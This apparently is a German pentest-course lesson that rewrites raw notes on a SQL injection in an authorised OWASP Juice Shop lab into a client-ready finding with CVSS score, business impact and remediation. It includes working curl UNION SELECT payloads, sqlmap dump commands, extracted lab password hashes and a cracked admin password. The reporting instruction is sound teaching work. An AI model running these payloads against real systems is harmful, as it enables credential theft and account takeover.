Zum Hauptinhalt springen

Von der Rohnotiz zur lieferbaren Feststellung

In Modul 7 dauerte die SQL-Injection auf die Suche von Juice Shop zwanzig Minuten. Die Notizen dazu passen in acht Zeilen. Ein Kunde kann damit nichts anfangen. Diese Lektion nimmt genau diesen Fund und schreibt ihn um, bis eine Fiche entsteht, die Sie ins Praxisprojekt 3 einfügen könnten.

Gleiches Lab, andere Zielgruppe

Ziel: http://10.10.10.50:3000 — OWASP Juice Shop, in Ihrem Labor bereits autorisiert. Die extrahierten Konten sind die aus Modul 7 (admin@juice-sh.op, drei Zeilen, --stop=3). Es wird keine erneute Massenextraktion gestartet. Es wird geschrieben.

Was Sie nach dieser Lektion können​

  • Eine Feldnotiz von einer Feststellung unterscheiden: was fehlt, was lügt, was wiederholbar ist.
  • Einen curl-Nachweis aus einem sqlmap-Erfolg rekonstruieren, damit der Kunde das Werkzeug nicht installieren muss.
  • Einen CVSS-3.1-Vektor berechnen und dann P1 mit einem geschäftlichen Satz festlegen.
  • Eine Auswirkung formulieren, die die Geschäftsleitung zitieren kann, und eine Behebung, die der Entwickler testen kann.
  • Die Fiche im Bericht einordnen: Nummer, Anhänge, Verknüpfung aus der Zusammenfassung.

1. Das VORHER — was wirklich im Notizbuch steht​

Hier, ungeschminkt, wie ein Einsatznotizbuch nach Schritt 3 von Modul 7 aussieht. Das ist normal. Es ist nicht lieferbar.

2026-04-16 14:10  juice 10.10.10.50:3000
search q=apple -> 200 liste produits
q=apple' -> 500 SQLITE_ERROR near "'"
sqlmap -r preuves/req-search.txt --batch --level=3 --dbs
UNION param q SQLite
sqlmap --tables Users Products Feedbacks BasketItems ...
sqlmap --dump -T Users --start=1 --stop=3
1 admin@juice-sh.op 0192023a7bbd73250516f069df18b500 admin
2 jim@juice-sh.op e5a9e79ba99895c40506c5be3f4d2354 customer
3 bender@juice-sh.op 03dfb27506def0d31d5b1e57dc95519f customer
crackstation 0192023a... -> admin123 3 secondes
TODO rapport
pas touché au login SQLi de l'étape 2 (autre fiche)

Dieser Block enthält bereits die Fakten. Er enthält keines der sieben Felder der Vorlage. Titel fehlt, Priorität fehlt, Auswirkung = „TODO", Behebung = nichts, Nachweis = ein Werkzeug, das der Entwickler nicht öffnen wird.

Der Rest der Lektion füllt die Felder in der Reihenfolge, in der ein Leser sie liest, nicht in der Reihenfolge, in der Sie geklickt haben.


2. Den primären Nachweis rekonstruieren: ein curl, kein Werkzeug​

sqlmap hat bestätigt. Der Bericht hingegen zeigt eine Anfrage, die ein Dritter in dreißig Sekunden erneut ausführen kann. Man beginnt wieder beim Fehler und extrahiert dann.

2.1. Zeigen, dass die Eingabe das SQL bricht​

curl -sS -D - -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'" \
-o /tmp/sqli-erreur.body | head -n 20

Typische Ausgabe (Header):

HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Type: application/json; charset=utf-8

Auszug aus dem Body:

{"error":{"message":"SQLITE_ERROR: near \"'\": syntax error","stack":"SequelizeDatabaseError: SQLITE_ERROR: near \"'\": syntax error\n    at Query.run..."}}

Lesart für die Fiche. Der Parameter q wird in eine SQLite-Abfrage interpoliert. Der Server verrät die Engine und die Art des Fehlers. Das ist bereits ein Nachweis. Es ist noch nicht die Auswirkung: Ein 500er-Fehler ist kein Dump.

2.2. Drei Konten extrahieren, wie in Modul 7​

Juice Shop baut eine Klausel der Art name LIKE '%…%' OR description LIKE '%…%' auf. Die Demonstrations-Payload schließt die Klammern, hängt ein UNION SELECT mit neun Spalten an (das Products-Schema des Labs) und kommentiert den Rest aus.

curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--" \
| jq '.data[:3] | .[] | {id,name,description}'

Beobachtete Ausgabe (erste drei nützliche Zeilen):

{
"id": 1,
"name": "admin@juice-sh.op",
"description": "0192023a7bbd73250516f069df18b500"
}
{
"id": 2,
"name": "jim@juice-sh.op",
"description": "e5a9e79ba99895c40506c5be3f4d2354"
}
{
"id": 3,
"name": "bender@juice-sh.op",
"description": "03dfb27506def0d31d5b1e57dc95519f"
}

Das Feld name trägt die E-Mail-Adresse. Das Feld description trägt den Hash. Die API antwortet mit 200: Für eine Automatisierung ist das eine erfolgreiche Suche.

Die RoE bleibt Teil des Nachweises

Drei Zeilen, nicht die Tabelle. Sie schreiben: „Extraktion auf drei Datensätze begrenzt, gemäß RoE." Das schützt den Kunden (keine vollständige Kopie auf Ihrer Festplatte) und Sie (man wirft Ihnen nicht vor, die Datenbank exfiltriert zu haben).

2.3. Das Administrator-Geheimnis, im Klartext​

Modul 7 hat den Hash bereits über CrackStation geknackt: 0192023a7bbd73250516f069df18b500 → admin123. MD5, ohne sichtbares Salt. Zeit: weniger als fünf Minuten, davon drei Sekunden für das Knacken.

Im Hauptteil der Feststellung veröffentlicht man den gekürzten Hash und die Tatsache, dass er geknackt wurde. Der vollständige Hash und der CrackStation-Screenshot gehen in den Anhang, unter derselben Fiche-Nummer. Das per E-Mail versendete PDF muss kein Passwort-Wörterbuch sein.

Speichern Sie jetzt schon, mit der Konvention aus Lektion 12.1:

mkdir -p ~/mission/preuves
# erneut ausführen und dabei speichern
curl -sS -D ~/mission/preuves/C01-2026-04-16-erreur.hdr \
-G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'" \
-o ~/mission/preuves/C01-2026-04-16-erreur.json

curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--" \
-o ~/mission/preuves/C01-2026-04-16-union.json

sqlmap bleibt ein sekundärer Nachweis: datiertes Protokoll, Befehl mit --stop=3. Es ersetzt nicht die beiden curl-Aufrufe.


3. Der Titel, der Kontext, die Angriffsfläche​

Drei Sätze, die vor der Diskussion des Schweregrads feststehen müssen. Wenn sich der Titel später ändert, brechen die Anhänge und die Zusammenfassung.

Titel. Aktion + Angriffsfläche.

C-01 — SQL-Injection auf GET /rest/products/search

Im lieferbaren Titel schreibt man nicht „Juice Shop": Der Kunde nennt es Katalog oder Shop-Suche. Im Lab genügt die technische URL; im echten Auftrag ergänzen Sie den funktionalen Namen in Klammern.

Kontext.

Der öffentliche Such-Endpunkt versorgt den Katalog. Er verlangt
keine Sitzung. Er fragt eine SQLite-Datenbank über eine interpolierte
Zeichenkette ab.

Was man nicht vermischt. Die Injection im Anmeldeformular (Schritt 2 von Modul 7) ist C-02, eine andere Fiche. Gleiche CWE-Familie, andere Angriffsfläche, andere Behebung (andere Abfrage, andere Datei).


4. Den CVSS berechnen und dann das P1 festlegen​

Man füllt den Vektor anhand dessen aus, was nachgewiesen wurde: Lesen der Tabelle Users aus dem Internet, ohne Konto. Kein Schreiben, keine OS-Shell, kein DELETE.

MetrikWertWarum
Attack VectorN (Network)Öffentliches HTTP.
Attack ComplexityL (Low)Eine GET-Anfrage, kein Wettlauf, kein Token.
Privileges RequiredN (None)Kein Cookie.
User InteractionN (None)Kein Klick des Opfers.
ScopeU (Unchanged)Die Auswirkung bleibt auf die Anwendung und ihre Datenbank beschränkt.
ConfidentialityH (High)E-Mails und Authentifizierungsgeheimnisse.
IntegrityN (None)Keine nachgewiesene Änderung.
AvailabilityN (None)Kein Ausfall.

Vektor:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Basis-Score: 7,5 — High. Nicht 9,8. Die 9,8 würde typischerweise eine Beeinträchtigung der Integrität oder der Verfügbarkeit oder eine Codeausführung voraussetzen. Sie haben das nicht gezeigt. Sich hier eine 9,8 auszudenken ist eine Berichtslüge.

Prioritätsentscheidung: P1.

FaktGewicht
Angriffsfläche im Internet, ohne Authentifizierungöffnet für jeden
Admin-Konto erlangt, schwaches Passwort geknacktÜbernahme des Back-Office
E-Mails weiterer Kontenpersonenbezogene Daten im Lab; bei einem echten Kunden Loi 25 / DSGVO
Wiederholbar mit einer curl-Zeilekeine seltene Fähigkeit erforderlich
Nur CVSS 7,5hebt die vier obigen Zeilen nicht auf

Begründungssatz, unter die Priorität zu setzen:

P1 — ein anonymer Dritter erlangt das Administrator-Geheimnis des Shops
aus dem öffentlichen Internet; der CVSS-Score von 7,5 unterschätzt diese
geschäftliche Auswirkung.

Hätte derselbe Vektor eine interne Suchmaschine betroffen, hinter VPN und mit bereits privilegiertem Konto, wäre die Fiche wahrscheinlich P2. Das ist hier nicht der Fall.


5. Die geschäftliche Auswirkung — drei Ebenen, eine einzige Fiche​

Man schreibt, was bereits wahr ist, und trennt dann klar, was eine Kette wäre (Gesamtüberblick), keine Auswirkung der Fiche.

Für die Geschäftsleitung (dieser Satz geht, umformuliert, auch in die Zusammenfassung):

Die öffentliche Suche liefert die Zugangsdaten des Shop-Administrators.
Ein Unbekannter kann das Back-Office öffnen und im Namen des Händlers handeln.

Für den Juristen / CISO:

E-Mail-Adressen und Authentifizierungsgeheimnisse sind unberechtigt
extrahierbar. Bei einem echten Shop löst dies eine Vorfallanalyse aus
und, je nach Kundendatei, eine Meldepflicht (Loi 25, DSGVO). Die
Passwörter sind in MD5 gespeichert, ohne beobachtetes Salt: Das Knacken
erfolgt sofort.

Für das technische Team:

Lesen der Tabelle Users via UNION auf dem Parameter q. Admin-Rolle
bestätigt. Passwort admin123 durch Knacken eines bekannten MD5 erhalten.
Kein UPDATE / INSERT / os-shell wurde versucht.

Was man in C-01 nicht schreibt: „danach wird der Angreifer zur Buchhaltung schwenken". Sie haben nicht geschwenkt. Falls eine Kette existiert (Admin-XSS, Jenkins, AD), wird sie im Abschnitt Gesamtüberblick erzählt, mit den Fiche-Nummern.


6. Die Behebung — Korrektur, Kompensation, Test, Aufwand​

Drei Schichten. Der Kunde muss sehen, welche das P1 schließt.

Korrektur (schließt das P1).

  • Parametrisierte Abfrage / ORM: Der Parameter q wird nicht mehr verkettet.
  • Datenbankkonto: Die Anwendung verwendet für eine Katalogsuche keine Rolle, die Users lesen kann — Prinzip der geringsten Rechte.
  • Speicherung der Geheimnisse: Abkehr von MD5; Argon2id oder bcrypt, eindeutiges Salt.
  • Ab heute: Rotation des Admin-Passworts, Invalidierung der Sitzungen, Protokollierung anomaler GET-Anfragen auf /rest/products/search.

Kompensation (bis der Fix vorliegt).

  • WAF-Regel auf UNION, SQL-Kommentare, SQLITE_ERROR bei 500. Das ist nicht der Abschluss. Eine WAF lässt sich umgehen; die Fiche bleibt offen, solange das curl-UNION funktioniert.

Abschlusstest — derselbe wie der Nachweis, anderes erwartetes Ergebnis:

curl -sS -o /tmp/apres.json -w '%{http_code}\n' \
-G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"

# Erwartet: 400 oder 200 mit data=[] oder einer Liste echter Produkte,
# niemals ein Objekt, dessen "name" eine Adresse und "description" ein Hash ist.
jq '.data[] | .name' /tmp/apres.json

Aufwand. Ein bis drei Personentage für einen Entwickler, der den Stack kennt (Express / Sequelize in diesem Lab). Die Passwort-Rotation: eine Stunde, Ops oder Shop-Admin, am Tag der Lektüre des P1.

Einzufügende Referenzen:

Ref.Kennung
CWECWE-89 (SQL Injection)
OWASPA03:2021 Injection
Angrenzende CWECWE-328 (Weak Hash), CWE-209 (Error Message)
CVEkeine — Implementierungsfehler, kein katalogisiertes Produkt

7. Das NACHHER — die Fiche, so wie sie an den Kunden geht​

Nachfolgend die vollständige Feststellung. Das ist das erwartete Niveau für jede der sechs Fiches im Praxisprojekt 3. Die HTTP-Blöcke befinden sich innerhalb der Vorlage: Der äußere Rahmen hat vier Backticks.

## C-01 — SQL-Injection auf GET /rest/products/search

**Schweregrad.** P1.
CVSS 3.1: 7,5 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`.
Begründung: Ein anonymer Dritter erlangt das Administrator-Geheimnis des
Shops aus dem öffentlichen Internet; der Score 7,5 unterschätzt diese
geschäftliche Auswirkung.

**Kontext.** Der öffentliche Such-Endpunkt versorgt den Katalog. Es wird
keine Sitzung verlangt. Der Parameter `q` wird in eine SQLite-Abfrage
interpoliert.

**Nachweis.** 16. April 2026, autorisiertes Labor `10.10.10.50:3000`.
Extraktion auf drei Datensätze begrenzt (RoE).

Erkennung — ein Apostroph genügt, um das SQL scheitern zu lassen:

```bash
curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'"
```

Antwort: HTTP 500, Body `SQLITE_ERROR: near "'": syntax error`.

Extraktion — `UNION SELECT` über neun Spalten, Tabelle `Users`:

```bash
curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"
```

Antwort: HTTP 200. Die ersten drei relevanten Objekte tragen in `name`
und `description`: `admin@juice-sh.op` / `0192023a7bbd7325…`,
`jim@juice-sh.op`, `bender@juice-sh.op`.

Sekundäre Bestätigung: `sqlmap -r preuves/req-search.txt --batch --level=3`
danach `--dump -T Users --start=1 --stop=3`. Gleiche Tabelle, gleiche
Begrenzung.

Knacken: MD5-Hash des Administrators zu `admin123` aufgelöst (öffentliches
Wörterbuch).
Protokoll und Screenshots: Anhang A, Dateien `C01-2026-04-16-*`.

**Geschäftliche Auswirkung.** Ein Unbekannter liest die Zugangsdaten des
Administrators und der Kunden und öffnet dann das Back-Office. Die
Geheimnisse werden in MD5 ohne beobachtetes Salt gespeichert. Bei einem
echten Shop lösen E-Mails und Admin-Zugriff eine Vorfallanalyse aus und,
je nach Datei, eine Meldung nach Loi 25 / DSGVO. Weder Schreibzugriff
auf die Datenbank noch Systemausführung wurden nachgewiesen.

**Behebung.**
1. Sofort (Ops, weniger als eine Stunde): Rotation des Admin-Passworts,
Invalidierung der Sitzungen, Alarm bei SQL-500ern.
2. Korrektur (Dev, 1 bis 3 Tage): parametrisierte Abfragen für `q`;
SQL-Konto nur mit Lesezugriff auf den Katalog; Hash Argon2id oder bcrypt.
3. Vorübergehende Kompensation: WAF-Regel. Schließt die Feststellung nicht ab.
4. Abschlusstest: Das obige `curl`-UNION darf keine E-Mail und keinen Hash
mehr liefern. Ein 400 oder eine Liste echter Produkte genügt.

**Referenzen.** CWE-89, CWE-328, CWE-209, OWASP A03:2021. Keine CVE.

Vergleichen Sie das mit dem Notizbuch aus Abschnitt 1. Alle technischen Fakten sind vorhanden. Nichts wurde erfunden. Alles ist entscheidbar geworden.


8. Wo diese Fiche im Bericht andockt​

Die Fiche schwebt nicht frei. Vier Anschlussstellen, sonst widerspricht sich das PDF.

Executive Summary — eine Zeile, ohne URL:

P1 — die öffentliche Suche liefert das Administratorkonto des Shops
(siehe C-01). Maßnahme der Woche: Rotation des Geheimnisses und Korrektur
des Suchparameters.

Heatmap — +1 im Feld Anwendung / P1.

Empfehlungen nach Thema — C-01 speist das Vorhaben „Datenzugriff": SQL-Parametrisierung für die gesamte Anwendung, nicht nur für search. Wenn Sie auch das injizierbare Login haben, verschmelzen die beiden Fiches hier zu einer strukturellen Maßnahme.

Anhänge

DateiInhalt
C01-2026-04-16-erreur.jsonBody 500
C01-2026-04-16-union.jsonBody 200, drei Objekte
C01-2026-04-16-sqlmap.logProtokoll --stop=3
C01-2026-04-16-crack.pngDatierter Screenshot des Knackens

Der Hauptteil des Berichts kopiert nicht das gesamte JSON ab. Er verweist.


9. Vier Umschreibungsfehler, an diesem konkreten Beispiel​

Den Score aufblähen. Auf 9,8 gehen, weil „SQL ist kritisch": Der Vektor I:N A:N lässt das nicht zu. Das P1 lässt sich verteidigen, ohne bei der Zahl zu lügen.

admin123 fett auf Seite 4 liefern. Das Klartext-Passwort im PDF reist mit. Fakt + gekürzt in der Fiche, vollständig im verschlüsselten Anhang.

„sqlmap zur Überprüfung verwenden" als Behebung schreiben. Der Kunde soll nicht zum Pentester werden. Der Abschlusstest ist das curl-UNION oder ein Unit-Test, der dieselbe Payload sendet.

Mit dem injizierbaren Login zusammenlegen. Zwei Tickets, zwei Dateien, zwei Tests. Das Empfehlungskapitel verknüpft sie. Die Fiches nicht.

Die P1-Begründung laut vorlesen

Wenn Sie sie einem IT-Leiter nicht in unter fünfzehn Sekunden sagen können, ist sie nicht fertig. „CVSS 7,5, also High" ist kein Satz für einen IT-Leiter. „Jeder im Internet hat das Passwort des Shop-Admins" ist einer.


10. Mini-Kontrollübung — vor dem Workshop​

Nehmen Sie Ihre Notizen aus Modul 7, Schritt 4 (gespeicherte XSS im Profil) oder Schritt 2 (Login). Ohne die obige Fiche C-01 noch einmal zu lesen, füllen Sie im Entwurf aus:

  1. Titel Aktion + Angriffsfläche;
  2. CVSS-Vektor (UI wechselt bei einer XSS oft zu Required);
  3. Priorität P1–P4 und den geschäftlichen Satz;
  4. ein wiederholbares curl oder eine Schritt-für-Schritt-Anleitung;
  5. einen Abschlusstest.

Wenn der Titel „XSS" enthält, ohne zu sagen wo, wenn der Nachweis alert(1) ohne Sitzungsdiebstahl ist, wenn die Behebung „Skripte filtern" lautet, sind Sie noch nicht auf dem Niveau von C-01. Modul 7 hat POC und Auswirkung bereits getrennt: Der Bericht verlangt beides, in dieser Reihenfolge — Existenznachweis, dann Wirkungsnachweis.


Was Sie sich merken sollten​

Feldnotizen sind ein Rohstoff. Die Feststellung ist ein Objekt mit sieben Feldern, mit einem curl-Nachweis, den der Kunde erneut ausführt, einem ehrlichen CVSS, einer vertretbaren Priorität, einer bereits nachgewiesenen Auswirkung, einer testbaren Behebung. Bei der Injection aus Modul 7 koexistieren die Zahl 7,5 und das P1: Die eine beschreibt die Technik, die andere den übernommenen Shop. Nächste Lektion: Sie verfassen den gesamten Bericht — sechs Fiches, Zusammenfassung, Plan 3 / 6 / 12 Monate.